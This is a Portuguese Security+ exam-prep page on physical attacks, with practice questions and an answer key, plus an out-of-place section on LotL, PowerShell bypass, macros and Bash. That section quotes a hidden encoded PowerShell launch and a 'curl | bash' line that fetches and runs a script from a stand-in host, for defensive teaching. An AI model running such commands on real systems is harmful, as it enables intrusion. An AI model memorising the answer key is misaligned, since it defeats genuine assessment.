COMPTIA SECURITY+ SY0-701 DOMÍNIO 2 · AMEAÇAS, VULNERABILIDADES E MITIGAÇÕES (22%)

Security+ 2.4 · Physical Attacks

Mestre CyberSec · **Aula 2.4 — Physical Attacks** (4:04) · Assistir Vídeo no YouTube ↗ · Treino Interativo: edusouzamarques.github.io/cybersec

Resumo Executivo da Aula: Ataque físico: brute force física (cortar cadeado, força porta); RFID cloning (clonar badge NFC); environmental (pular cerca, furar parede). Defesa: mantrap/vestibular control, badge + PIN (2 fatores físico), câmeras, alarmes, monitorar log RFID com alarme de horário incomum.

💡 Highlights que a prova CompTIA cobra

- RFID cloning com um device de $500 copia um badge (proximity)
- Defesa física: mantrap, badge com PIN (2-factor), câmeras+alarmes

🎯 Dicas de Prova & Cenários Típicos da Banca

- 'clones an access badge' = RFID cloning

🚨 Além do Vídeo: Conceitos Oficiais, Siglas e Armadilhas (Seção 2.4 — Physical Attacks)

Por que este aprofundamento é cobrado na prova?: O vídeo resume os tópicos práticos, mas o exame CompTIA SY0-701 cobra discernimento técnico rigoroso sobre as tecnologias e protocolos específicos desta seção:

• Força Bruta Física (N/A)

Ataque físico que usa força direta para contornar ou quebrar um controle, como cortar cadeado, forçar porta ou destruir barreira.

⚠️ ***Armadilha CompTIA:*** *Se a questão descreve danos ou força contra fechadura, porta ou cerca, pense em brute force físico, não em hacking lógico.*

• Clonagem de RFID

Cópia dos dados de um crachá ou cartão de proximidade RFID para outro dispositivo, permitindo usar a credencial clonada para acesso físico.

⚠️ ***Armadilha CompTIA:*** *'Clones an access badge' = RFID cloning. Badge de proximidade sem criptografia é vulnerável; defesa inclui badge com PIN e monitoramento de logs.*

• Ataque Ambiental (N/A)

Ataque físico que contorna controles de perímetro por falhas ambientais, como pular cerca, escalar muros ou cortar/perfurar parede.

⚠️ ***Armadilha CompTIA:*** *Cerca, muro, parede, telhado ou vegetação explorados indicam environmental attack; não confunda com controle de acesso lógico.*

• Mantrap (Vestíbulo de Controle de Acesso) (N/A)

Portal de entrada pequeno com duas portas intertravadas que permite passagem de apenas uma pessoa ou grupo por vez, prevenindo tailgating e piggybacking.

⚠️ ***Armadilha CompTIA:*** *Questões sobre impedir entrada não autorizada junto com funcionário autorizado pedem mantrap/access control vestibule.*

• Crachá + PIN (Autenticação de Dois Fatores Física) (2FA)

Controle de acesso físico que exige algo que você possui, como crachá ou token, e algo que você sabe, como um PIN, fornecendo autenticação de dois fatores para entrada.

⚠️ ***Armadilha CompTIA:*** *Se a defesa combina badge com PIN, é 2FA físico; só badge é fator único e pode ser clonado ou roubado.*

• CCTV (Circuito Fechado de Televisão)

Vigilância por vídeo usada para monitorar, dissuadir e registrar atividades físicas para investigação de incidentes e aplicação de controle de acesso.

⚠️ ***Armadilha CompTIA:*** *Câmeras são detecção, dissuasão e evidência; não impedem fisicamente a entrada sozinhas.*

• Sistemas de Alarme (N/A)

Sensores e mecanismos de alerta que detectam eventos de segurança física, como violação de porta, movimento ou entrada não autorizada, e notificam respondedores.

⚠️ ***Armadilha CompTIA:*** *Alarmes detectam e notificam; para prevenir tailgating, combine com mantrap, câmeras e resposta.*

• Monitoramento de Log de Acesso RFID

Revisão de logs de acesso RFID e alerta sobre anomalias, como horários incomuns ou tentativas negadas repetidas, para detectar credenciais clonadas ou mal utilizadas.

⚠️ ***Armadilha CompTIA:*** *Log de RFID com horário incomum é gatilho para detectar clonagem de crachá; defesa é alerta e monitoramento, não apenas crachá físico.*

🏛️ Visão Didática, Analogias & Análise de Governança (GRC)

📌 Living off the Land (LotL) e LOLBins (LOLBas)

🏠 **Analogia Intuitiva:** Imagine um assaltante que decide invadir uma mansão sem carregar pé-de-cabra, máscara ou armas na mochila. Ele entra de mãos vazias, vai direto até a cozinha da vítima, pega uma faca do faqueiro da casa e usa as ferramentas da própria garagem para arrombar o cofre. Se um vizinho olhar pela janela, só vê o faz-tudo usando vassouras e chaves de fenda originais da própria residência. É exatamente isso que faz o atacante de LotL: usa ferramentas administrativas legítimas já instaladas no Windows ou Linux (como PowerShell, certutil, wmic ou curl) em vez de baixar softwares suspeitos.

🔍 **Causa Raiz / Por que foi criado:** Sistemas operacionais modernos incluem ferramentas robustas para automação de tarefas por administradores. Como esses executáveis são nativos, assinados digitalmente pela Microsoft ou pelo fornecedor do sistema operacional e confiáveis por padrão, antivírus tradicionais baseados em assinaturas de arquivos não os bloqueiam nem alertam sobre sua simples presença.

🛡️ **Visão do Auditor de GRC:** Implementar políticas rigorosas de integridade de código e listas de permissão de aplicativos (AppLocker ou WDAC - Windows Defender Application Control); auditar a ativação do PowerShell Constrained Language Mode (CLM); e monitorar no SIEM a criação de processos suspeitos através do Event ID 4688 com registro completo da linha de comando e Script Block Logging (Event ID 4104).

⚠️ **Como cai na Prova CompTIA:** Trigger: 'attacker uses pre-installed administrative utilities to download files, execute commands, and evade signature-based detection without dropping external malware executables' -> Living off the Land (LotL) / LOLBins. Ferramentas clássicas citadas na prova: certutil, PowerShell, wmic, bitsadmin, mshta.

📌 PowerShell e Burlar a Política de Execução (Execution Policy Bypass)

🏠 **Analogia Intuitiva:** A política de execução (Execution Policy) do PowerShell não é uma porta blindada com chaveiro eletrônico; é apenas uma placa de papel colada no vidro dizendo: 'Favor não apoiar as mãos na porta'. Se um invasor quiser, ele simplesmente ignora a placa passando o comando `-ExecutionPolicy Bypass` e abre a porta sem fazer nenhum esforço. O objetivo da placa nunca foi deter ladrões experientes, mas apenas alertar o funcionário desatento para não cometer um tropeço involuntário.

🔍 **Causa Raiz / Por que foi criado:** A Microsoft documenta explicitamente que a Execution Policy é uma proteção de conveniência/segurança contra acidentes (safety control), e não um limite rígido de segurança (security boundary). Comandos como `powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Enc` permitem rodar scripts codificados em base64 diretamente na memória RAM sem gravar nada no disco rígido (fileless execution).

🛡️ **Visão do Auditor de GRC:** Nunca aceitar a 'Execution Policy: Restricted' como controle compensatório em relatórios de auditoria. Exigir defesa em profundidade: habilitar AMSI (Antimalware Scan Interface), implementar WDAC para impedir execução de PowerShell não gerenciado, e habilitar o log completo de blocos de script (Script Block Logging) para auditoria forense.

⚠️ **Como cai na Prova CompTIA:** Trigger: 'administrator discovers PowerShell process running with parameters -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile'. Pegadinha da CompTIA: A banca pergunta se Execution Policy impede ataques intencionais; a resposta é NÃO, pois é facilmente contornável via linha de comando.

📌 VBA Macros e Documentos Armadilhados (Malicious Office Macros)

🏠 **Analogia Intuitiva:** É como receber uma correspondência de aparência bancária com uma etiqueta adesiva colada na capa: 'Para ler esta mensagem sigilosa, descole este adesivo e destranque a tranca da janela dos fundos'. A vítima, acreditando que precisa ver o boleto ou fatura urgente, clica em 'Habilitar Edição' ou 'Habilitar Conteúdo'. Ao descolar o adesivo, o script automatizado oculto no documento destranca o computador e faz o download de um ransomware em segundo plano.

🔍 **Causa Raiz / Por que foi criado:** O Visual Basic for Applications (VBA) foi criado para enriquecer a produtividade em planilhas e documentos, permitindo automatizar rotinas contábeis com poder de executar comandos no sistema operacional. Atacantes exploram a engenharia social enviando arquivos `.docm` ou `.xlsm` para enganar os colaboradores a desativar as defesas do aplicativo.

🛡️ **Visão do Auditor de GRC:** Aplicar política via GPO/Intune que bloqueia permanentemente a execução de macros em documentos obtidos da internet (respeitando o atributo Mark of the Web - MOTW); assinar digitalmente as macros internas autorizadas; e desativar extensões de macro em setores que não utilizam automação financeira.

⚠️ **Como cai na Prova CompTIA:** Trigger: 'employee opens an attached invoice document and is prompted to click Enable Content to view the blurry text, triggering a reverse shell'. Resposta: Malicious VBA Macro. Mitigação: Block macros from running in Office files downloaded from the internet via GPO.

📌 Bash Scripts e Automação Maliciosa em Linux (Linux Shell Scripting)

🏠 **Analogia Intuitiva:** É como um bilhete de instruções passo a passo deixado em cima da mesa para o encarregado da limpeza: 'Vá ao cofre, copie os documentos da pasta vermelha e envie por malote para a caixa postal 502'. No Linux, o Bash script encadeia comandos utilitários como `curl`, `wget`, `netcat` e `cron` em sequência rápida. O sistema obedece cegamente a cada linha porque o operador é o próprio interpretador de comandos padrão do servidor.

🔍 **Causa Raiz / Por que foi criado:** Servidores Linux de infraestrutura utilizam interpretadores de shell (.sh) para tarefas de provisionamento contínuo. Invasores usam canais de execução direta na memória (como `curl -s https://bad-site/script.sh | bash`) para burlar auditorias de disco e manter persistência via tarefas agendadas no crontab.

🛡️ **Visão do Auditor de GRC:** Restringir comandos via perfis de sudoers com privilégio mínimo; auditar modificações em `/etc/cron*` e `/var/spool/cron`; desabilitar interpretadores e utilitários de rede (como nc e curl) em contêineres e imagens de produção usando perfis SELinux/AppArmor.

⚠️ **Como cai na Prova CompTIA:** Trigger: 'analyst identifies a scheduled job running a shell script piped directly from an external web address (curl | bash) establishing persistence' -> Malicious Bash Script / Living off the Land.

⚡ TABELA DE FIXAÇÃO RÁPIDA PARA O EXAME (CHEAT SHEET)

Cenário Típico de Exame / Situação Prática	Conceito Técnico & Resposta da Banca
Atacante executa comandos e baixa arquivos usando ferramentas administrativas nativas já instaladas no Windows (certutil, powershell)	**Living off the Land (LotL) / LOLBins**
Script PowerShell é executado contornando restrições do sistema operacional através de parâmetro de linha de comando	**Execution Policy Bypass (-ExecutionPolicy Bypass)**
Planilha ou documento de texto enviado por phishing solicita que o usuário clique em 'Habilitar Edição' para executar código malicioso	**VBA Macro Maliciosa (Malicious Office Macro)**
Comando Linux faz o download de um script da internet e o executa imediatamente na memória do terminal sem gravar no disco	**Execução em Memória via Bash Script (curl | bash / Fileless)**
Recurso de segurança que impede a execução de scripts PowerShell arbitrários forçando o modo restrito de linguagem	**PowerShell Constrained Language Mode (CLM)**
Mecanismo do Windows que marca arquivos baixados da internet para que o Office bloqueie suas macros por padrão	**Mark of the Web (MOTW)**

✅ Perguntas de Treino Comentadas (10 Questões de Cenários Reais)

Cenários autênticos alinhados aos objetivos do exame. O gabarito com análise completa dos distratores encontra-se ao final.

QUESTÃO 1 · CENÁRIO DE EXAME

Um atacante fica perto da entrada de funcionários com um leitor NFC oculto e captura o identificador único dos crachás RFID dos funcionários enquanto passam. Atualmente, os crachás sozinhos destrancam a porta do saguão. Qual controle impede mais diretamente que um identificador de crachá capturado seja usado depois para entrar no prédio?

A) Adicionar mais câmeras de CFTV cobrindo a entrada

B) Exigir que os funcionários apresentem o crachá e digitem um PIN na porta

C) Aumentar o alcance de leitura do leitor RFID para reduzir falhas de leitura

D) Pedir aos funcionários que mantenham os crachás em carteiras ao caminhar

QUESTÃO 2 · CENÁRIO DE EXAME

Um ladrão usou corta-cadeados para cortar o cadeado da porta de um armário de rede e roubou um switch. O armário contém infraestrutura crítica e fica em um corredor de pouco movimento. Qual mitigação aborda melhor o ataque de força bruta física?

A) Substituir o cadeado por uma fechadura reforçada e conjunto de porta reforçada

B) Instalar uma luz acionada por movimento no corredor

C) Exigir que visitantes se registrem na recepção

D) Ativar segurança de porta no switch de rede

QUESTÃO 3 · CENÁRIO DE EXAME

O perímetro de um depósito usa uma cerca de tela com arame farpado. Atacantes jogam um cobertor sobre o arame farpado, escalam a cerca e entram no pátio à noite. Qual melhoria mitiga melhor esse ataque ambiental?

A) Melhorar a cerca com topo anti-escalada e manter uma zona livre ao seu redor

B) Instalar um leitor de crachá na doca de carregamento do depósito

C) Exigir um PIN para todas as entradas de funcionários

D) Aumentar a retenção de gravações de CFTV de 7 para 30 dias

QUESTÃO 4 · CENÁRIO DE EXAME

Funcionários de um data center passam o crachá na entrada principal, mas pessoas não autorizadas frequentemente entram logo atrás pela mesma porta. Qual controle físico é projetado para impor a entrada de uma pessoa por vez?

A) Vestíbulo de controle de acesso com portas intertravadas

B) Crachá de visitante com cor diferente

C) Câmera de CFTV apontada para a entrada

D) Porta de saída de emergência com barra antipânico

QUESTÃO 5 · CENÁRIO DE EXAME

O crachá RFID de um funcionário é roubado em uma cafeteria. O crachá sozinho abre todas as portas do escritório, incluindo a sala de servidores. Qual mudança impede mais diretamente que um crachá roubado conceda acesso à sala de servidores?

A) Exigir tanto o crachá quanto um PIN para entrada na sala de servidores

B) Instalar uma câmera de segurança dentro da sala de servidores

C) Mover o leitor de crachá da sala de servidores para o outro lado da porta

D) Ativar o registro de todos os eventos de acesso por crachá

QUESTÃO 6 · CENÁRIO DE EXAME

Um analista de segurança revisa os registros de acesso RFID e vê um crachá de funcionário usado no laboratório de pesquisa às 3:17 da manhã. O funcionário está de férias e normalmente trabalha das 9:00 às 17:00. Qual controle detetivo identificaria melhor esse evento suspeito quase em tempo real?

A) Configurar o monitoramento de registros de acesso RFID para alertar sobre horários incomuns de acesso

B) Reemitir todos os crachás de funcionários a cada 90 dias

C) Substituir a porta do laboratório por uma porta de núcleo sólido

D) Adicionar uma catraca na entrada principal do saguão

QUESTÃO 7 · CENÁRIO DE EXAME

Invasores fora do horário arrombaram uma doca de carregamento três vezes, mas a empresa não tem evidência em vídeo porque a área não é gravada. Qual controle apoia melhor tanto a dissuasão quanto a investigação pós-incidente?

A) Instalar câmeras de CFTV cobrindo a doca de carregamento com gravações retidas

B) Exigir crachá mais PIN na entrada principal do escritório

C) Implantar um man-trap na entrada do data center

D) Monitorar registros RFID para acessos incomuns no elevador

QUESTÃO 8 · CENÁRIO DE EXAME

Um assaltante corta a linha telefônica de um pequeno escritório antes de forçar a porta dos fundos. O sistema de alarme não consegue enviar notificações porque seu único caminho de comunicação é a linha telefônica cortada. Qual melhoria aborda melhor essa fraqueza?

A) Adicionar backup celular e detecção de violação ao sistema de alarme

B) Adicionar mais sensores de movimento dentro do escritório

C) Substituir a maçaneta da porta dos fundos por uma trava tetra

D) Começar a reter gravações de CFTV por 90 dias

QUESTÃO 9 · CENÁRIO DE EXAME

Um escritório compartilhado tem um rack de servidores protegido apenas por uma fechadura padrão de gabinete. Um atacante forçou a fechadura com uma chave de fenda e roubou um disco. Qual mitigação aborda melhor esse ataque de força bruta física?

A) Substituir o rack por um gabinete reforçado e fechadura de alta segurança

B) Criptografar os dados em todos os discos dos servidores

C) Ativar o registro de acesso por crachá para a porta do escritório

D) Instalar uma película de privacidade na janela do escritório

QUESTÃO 10 · CENÁRIO DE EXAME

Um atacante entra em um prédio quebrando o drywall de uma sala de servidores que compartilha uma parede com um corredor público. A porta da sala de servidores tem controles de acesso fortes, mas a parede é de drywall comum. Qual mitigação aborda melhor esse ataque ambiental?

A) Reforçar a parede com tela de aço ou concreto e adicionar sensores de vibração

B) Exigir crachá mais PIN na porta da sala de servidores

C) Instalar uma câmera de CFTV no corredor público

D) Monitorar registros RFID para passagem de crachá fora do horário comercial

GABARITO COMENTADO COM ANÁLISE DE DISTRATORES

Questão 1: Alternativa B — Exigir que os funcionários apresentem o crachá e digitem um PIN na porta

Exigir crachá mais PIN cria autenticação física de dois fatores: o crachá é algo que você tem, e o PIN é algo que você sabe. Um crachá clonado sozinho deixa de ser suficiente para destrancar a porta. CFTV, maior alcance de leitura e esconder crachás não impedem o uso de um crachá clonado para acesso.

Questão 2: Alternativa A — Substituir o cadeado por uma fechadura reforçada e conjunto de porta reforçada

O ataque foi força bruta física contra a fechadura e a porta. Substituir o cadeado por uma fechadura reforçada e reforçar a porta aumenta a resistência a corte, alavancagem e entrada forçada. Iluminação pode dissuadir, mas não impede o corte. Registro de visitantes e segurança de porta não protegem a porta do armário.

Questão 3: Alternativa A — Melhorar a cerca com topo anti-escalada e manter uma zona livre ao seu redor

Escalar a cerca é um ataque ambiental ao perímetro. Cercas anti-escalada, como topos curvos ou espigões giratórios, combinadas com zona livre e detecção perimetral, tornam a escalada e a aproximação muito mais difíceis. Leitores de crachá, PINs e maior retenção de CFTV não impedem diretamente a escalada da cerca.

Questão 4: Alternativa A — Vestíbulo de controle de acesso com portas intertravadas

Um vestíbulo de controle de acesso, também chamado de man-trap, usa portas intertravadas para permitir que apenas uma pessoa passe por vez. Ele mitiga diretamente o tailgating. Crachá de visitante, CFTV e saída de emergência não impedem, por si sós, que alguém siga uma pessoa autorizada por uma porta.

Questão 5: Alternativa A — Exigir tanto o crachá quanto um PIN para entrada na sala de servidores

Crachá mais PIN é autenticação física de dois fatores. Um crachá roubado sozinho não basta porque o atacante também precisa do PIN. CFTV pode registrar a intrusão, mover o leitor é segurança por obscuridade, e o registro ajuda na detecção, mas não impede a entrada.

Questão 6: Alternativa A — Configurar o monitoramento de registros de acesso RFID para alertar sobre horários incomuns de acesso

Monitorar registros de acesso RFID e alertar sobre horários ou padrões incomuns pode detectar rapidamente crachás clonados, roubados ou usados indevidamente. Reemitir crachás, melhorar portas e instalar catracas no saguão são úteis, mas não fornecem detecção em tempo real de um uso anômalo de crachá.

Questão 7: Alternativa A — Instalar câmeras de CFTV cobrindo a doca de carregamento com gravações retidas

CFTV fornece dissuasão e cria evidência gravada para investigar intrusões físicas. Crachá mais PIN, man-traps e monitoramento de registros RFID protegem ou detectam acesso em pontos controlados, mas não gravam atividade na doca de carregamento.

Questão 8: Alternativa A — Adicionar backup celular e detecção de violação ao sistema de alarme

O backup celular dá ao alarme um caminho alternativo para reportar uma intrusão quando a linha telefônica é cortada. A detecção de violação pode alertar quando a fiação ou o painel do alarme é adulterado. Mais sensores, uma trava tetra e retenção de CFTV ajudam, mas não resolvem a perda de comunicação do alarme.

Questão 9: Alternativa A — Substituir o rack por um gabinete reforçado e fechadura de alta segurança

O ataque teve como alvo a fechadura e o gabinete físicos. Um gabinete reforçado com fechadura de alta segurança resiste a alavancagem e entrada forçada. A criptografia de disco protege os dados se um disco for roubado, mas não impede o roubo físico. Registro e películas de privacidade não protegem o rack.

Questão 10: Alternativa A — Reforçar a parede com tela de aço ou concreto e adicionar sensores de vibração

O ataque contornou a porta penetrando na parede. Reforçar a parede com tela de aço, concreto ou outros materiais endurecidos torna a perfuração ou quebra muito mais difícil, e sensores de vibração podem detectar tentativas. Controles de porta, CFTV no corredor e monitoramento RFID não endurecem diretamente a parede.